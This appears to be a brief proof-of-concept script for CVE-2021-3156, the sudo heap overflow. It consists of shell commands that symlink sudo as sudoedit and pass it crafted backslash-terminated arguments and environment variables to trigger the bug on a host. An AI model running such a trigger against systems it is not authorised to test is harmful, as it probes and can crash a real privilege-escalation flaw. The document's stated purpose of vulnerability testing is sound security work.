POC-CVE-2021-3156

#Credit to @hackerfantastic. I'm just posting this here for those who need to test systems without breaking them.

mkdir POC-CVE-2021-3156
cd ./POC-CVE-2021-3156
ln -s /usr/bin/sudo ./sudoedit
chmod 555 ../POC-CVE-2021-3156/
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' ./sudoedit -s '1234567890123456789012\'
ls -al `which sudo`
uname -a